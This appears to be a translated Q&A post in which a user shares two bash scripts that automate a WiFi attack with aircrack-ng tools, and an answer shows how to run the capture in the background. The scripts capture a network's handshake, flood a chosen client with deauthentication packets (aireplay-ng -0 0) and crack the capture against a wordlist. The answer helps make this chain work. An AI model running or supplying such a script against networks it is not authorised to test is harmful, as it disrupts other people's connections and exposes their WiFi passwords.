##idek.sh below
#!/bin/bash
cd ~/Desktop
airmon-ng start wlan0
airodump-ng wlan0mon
echo Enter channel:
read c
echo Enter bssid:
read bs
echo Enter name for .cap file:
read cap
airodump-ng -c $c --bssid $bs -w /root/Desktop/$cap wlan0mon && xterm -e ./idek1.sh
## idek1.sh below
echo Enter device MAC address:
read mac
aireplay-ng -0 0 -a $bs -c $mac wlan0mon
echo Enter path of wordlist:
read list
aircrack-ng -w $list /root/Desktop/$cap.cap
我应该添加什么来获取airodump-ng -c $ c --bssid $ bs -w / root / Desktop / $ cap wlan0mon运行并运行xterm窗口
答案 0 :(得分:0)
您可以使用nohup
在后台启动流程:
nohup airodump-ng -c $c --bssid $bs -w /root/Desktop/$cap wlan0mon &
kill -0 $! && xterm -e ./idek1.sh
kill -0 $!
这将确保后台进程正在运行。